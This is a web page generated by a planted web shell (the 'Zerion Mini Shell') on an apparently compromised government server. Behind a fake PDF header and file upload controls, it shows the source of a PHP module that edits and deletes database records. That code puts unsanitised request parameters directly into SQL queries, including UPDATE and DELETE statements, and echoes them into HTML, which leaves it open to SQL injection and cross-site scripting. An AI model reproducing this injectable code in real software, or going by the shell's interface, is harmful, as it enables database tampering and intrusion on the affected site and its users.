%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/infofi/modules/consulta/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/infofi/modules/consulta/foliosa_edit.php

<?php
require("conn.php");
if(isset($_GET['edit']))
{
		$tbl = $_GET['tabla'];
        $id = $_GET['id'];
		$folio = $_GET['folio'];
		$reg = $_GET['reg'];
?>

<div class="content">

    <div class="titulo">Registro a editar pertenece al folio: <?php echo $_GET['folio']; ?></div>

<div class="cfmenu"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=foliosa&action=ver&folio=<?php echo $folio ?>&tabla=<?php echo $tbl ?>&reg=<?php echo $reg ?>"><img src="images/back.png" width="20" height="20" /> Regresar</a></div>

    <?php

        echo "<br />";

        $senFo = mysqli_query($db, "SELECT * FROM $tbl WHERE id='$id'") or die(mysql_error());

        $senTr = mysqli_num_fields($senFo);

        echo "<table class='tablas'>";
        $xmlFrm = "xml/tablas.xml";
        $frmDt = simpleXml_load_file($xmlFrm);
        foreach($frmDt->formato as $frm)
        {
            $Nfrm = $frm->tabla;
            if($Nfrm == $tbl)
            {
                $xmlTbl = "xml/".$tbl.".xml";
                $dtTbl = simpleXml_load_file($xmlTbl);
                foreach($dtTbl->formato as $nodo)
                {
                    echo "<td class='ctab'>".$nodo->etiqueta."</td>";
                }
            }
        }
            echo "<tr>";

            echo '<form action="index.php" method ="GET">';


        while($d = mysqli_fetch_row($senFo))
        {

            echo "<tr>";

            for($i=1;$i<$senTr;$i++)
            {
                if(preg_match('/SISOFI0/i', $d[$i]))
                    echo '<td>'.$d[$i].'</td>';
                else
                    echo '<td>'.'<input type="text" name="'.$d[$i].'" value="'.$d[$i].'"></td>';
            }
            echo "<tr>";
        }

        $token = $_GET['token'];
        $tbl   = $_GET['tabla'];
        $folio = $_GET['folio'];
        $id = $_GET['id'];
		$reg = $_GET['reg'];

        echo '<input type="hidden" name = "token" value="'.$token.'">';
        echo '<input type="hidden" name = "tabla" value="'.$tbl.'">';
        echo '<input type="hidden" name = "action" value="edit">';
        echo '<input type="hidden" name = "mod" value="foliosa_edit">';
        echo '<input type="hidden" name = "folio" value="'.$folio.'">';
        echo '<input type="hidden" name = "id" value="'.$id.'">';
		echo '<input type="hidden" name = "reg" value="'.$reg.'">';
        echo "</table>";

        if($_GET['edit'] == 'borrar')
         {
			 echo "<br />";
            echo '<input type="hidden" name = "action" value="borrar">';
            echo "<input type='submit' value='Borrar Registro'>";
         } 

        else
		{
			echo "<br />";
            echo "<input type='submit' value='Editar Registro'>";
		}
            
        echo "<br />";
       
        echo "</form>";
    ?>
	<br/>
   
</div>

<?php

}
if(isset($_GET['action']))
{

    $contadorB = 1;
    $action = $_GET['action'];
	
    if($action == 'edit')
    {
        $tbl = $_GET['tabla'];
        $id = $_GET['id'];
        $folio = $_GET['folio'];
		$reg = $_GET['reg'];
            $columnas = mysqli_query($db, "SHOW COLUMNS FROM $tbl");
            $icount = 0;

            while($fila = mysqli_fetch_array($columnas)){
                if($icount > 0)
                {
                    $nombre = $fila['Field'];
                    if($nombre != 'Folio')
                    {   
                        $valor  = $_GET[$fila['Field']];
                        $sql = "UPDATE $tbl SET $nombre = '$valor' WHERE id = $id";
                        mysqli_query($db, $sql );
                    }
                }
                $icount++;   
            }

            $concat = '&action=ver&folio='.$folio.'&tabla='.$tbl.'&reg='.$reg;
			
			$idus = $_SESSION['idus'];
		
			$sqlF = mysqli_query($db, "SELECT * FROM nfolios WHERE folio='$folio'");
			$f = mysqli_fetch_array($sqlF);
			$afolio = $f['year'];
			$apro = $f['apro'];
			$ffolio = $f['fecha'];
			$tmp = $f['tempo'];
			
			$sqlF = mysqli_query($db, "INSERT INTO bitacora (fecha, folio, year, tabla, fechafolio, tempo, apro, accion, idus) VALUES (NOW(), '$folio', '$afolio', '$tbl', '$ffolio', '$tmp', '$apro', 'Modificar Registro', '$idus')");
			
            echo "<div class='msg'>El registro ha sido editado exitosamente</div>"; 
    }
    else
    {
        $id = $_GET['id'];
        $tbl = $_GET['tabla'];
        $folio = $_GET['folio'];
		$reg = $_GET['reg'];

        $sql = "DELETE FROM $tbl WHERE id = $id";
        mysqli_query($db, $sql );


        $sql = "SELECT COUNT(*) AS contador FROM $tbl WHERE folio = '$folio'";
        $datos = mysqli_query($db, $sql);


        $concat = '&action=ver&folio='.$folio.'&tabla='.$tbl.'&reg='.$reg;

        while($fila = mysqli_fetch_array($datos))
        {
            $contadorB = $fila['contador'];
            if($contadorB == 0)
             {
                mysqli_query($db, "DELETE FROM nfolios WHERE folio='$folio'");
                $concat = '';

             }   

        }
		
		$idus = $_SESSION['idus'];
		
		$sqlF = mysqli_query($db, "SELECT * FROM nfolios WHERE folio='$folio'");
		$f = mysqli_fetch_array($sqlF);
		$afolio = $f['year'];
		$apro = $f['apro'];
		$ffolio = $f['fecha'];
		$tmp = $f['tempo'];
			
		$sqlF = mysqli_query($db, "INSERT INTO bitacora (fecha, folio, year, tabla, fechafolio, tempo, apro, accion, idus) VALUES (NOW(), '$folio', '$afolio', '$tbl', '$ffolio', '$tmp', '$apro', 'Borrar Registro', '$idus')");
        
        echo "<div class='msg'>El registro ha sido borrado exitosamente</div>"; 
    }
    ?>

    <meta http-equiv="refresh" content="1;URL=index.php?token=<?php echo $_GET['token']; ?>&mod=foliosa<?php echo $concat; ?>" /> 

<?php
}
?>

Zerion Mini Shell 1.0